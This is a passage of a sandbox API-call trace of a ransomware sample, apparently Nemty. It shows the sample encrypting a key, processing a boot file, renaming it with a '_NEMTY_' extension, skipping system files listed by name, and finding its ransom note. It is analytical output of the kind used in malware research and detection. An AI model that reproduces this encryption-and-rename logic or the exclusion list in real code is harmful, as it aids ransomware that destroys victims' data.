returned 15 [0044.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0044.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.506] Sleep (dwMilliseconds=0x5) [0044.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce3d2130, dwHighDateTime=0x1d561e7)) [0044.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce3d2130, dwHighDateTime=0x1d561e7)) [0044.520] GetLastError () returned 0xb7 [0044.520] SetLastError (dwErrCode=0xb7) [0044.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.520] GetLastError () returned 0xb7 [0044.520] SetLastError (dwErrCode=0xb7) [0044.520] GetLastError () returned 0xb7 [0044.520] SetLastError (dwErrCode=0xb7) [0044.521] GetLastError () returned 0xb7 [0044.521] SetLastError (dwErrCode=0xb7) [0044.521] GetLastError () returned 0xb7 [0044.521] SetLastError (dwErrCode=0xb7) [0044.521] GetLastError () returned 0xb7 [0044.521] SetLastError (dwErrCode=0xb7) [0044.521] GetLastError () returned 0xb7 [0044.521] SetLastError (dwErrCode=0xb7) [0044.521] GetLastError () returned 0xb7 [0044.521] SetLastError (dwErrCode=0xb7) [0044.521] GetLastError () returned 0xb7 [0044.521] SetLastError (dwErrCode=0xb7) [0044.521] GetLastError () returned 0xb7 [0044.521] SetLastError (dwErrCode=0xb7) [0044.521] GetLastError () returned 0xb7 [0044.521] SetLastError (dwErrCode=0xb7) [0044.521] GetLastError () returned 0xb7 [0044.521] SetLastError (dwErrCode=0xb7) [0044.521] GetLastError () returned 0xb7 [0044.521] SetLastError (dwErrCode=0xb7) [0044.521] GetLastError () returned 0xb7 [0044.522] SetLastError (dwErrCode=0xb7) [0044.522] GetLastError () returned 0xb7 [0044.522] SetLastError (dwErrCode=0xb7) [0044.522] GetLastError () returned 0xb7 [0044.522] SetLastError (dwErrCode=0xb7) [0044.522] GetLastError () returned 0xb7 [0044.522] SetLastError (dwErrCode=0xb7) [0044.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.522] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0044.522] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0044.522] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0044.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0044.522] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="GbYJTLIM/dwL4QJF1Vvb64YqLiz+4gYactKaUi9Id1ck5G+11083jcXjn0IR8c6K\r\nfekgfxzEGWYIkfCgjDhHA8IUD2Z3gcFuTEI4h8htILspdO6iGuF24cca8hS2DYnZ\r\nmIWXU9ufMnr5GlxTjdxOEvaZf426L6ImOk1ZdvpFN1TwFnzPkZuWqMHYYlNUGc1Z\r\nQtL3KOzJswHvv0q2wRIer+dJt+0lTXvRl6i2rRmyc++E0UFjNMG/ta09EOxOm9Sj\r\np2k/uR3oT2gm1zi+4NyFwJvvz48AbDeWRGdv+H2gUWkVP3BckTF2Y4BapIWXz1h9\r\nj0H3WQecNrSTIie9N80sBw==\r\n", pcchString=0x653f2dc) returned 1 [0044.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0044.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0044.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0044.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0044.522] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.523] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0044.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0044.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.533] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.628] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.635] CloseHandle (hObject=0xffffffff) returned 0 [0044.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0044.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0044.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.635] MoveFileW (lpExistingFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0044.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0044.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0044.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0044.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.635] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce385e70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce385e70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce385e70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0044.636] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0044.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.637] HeapFree (in: 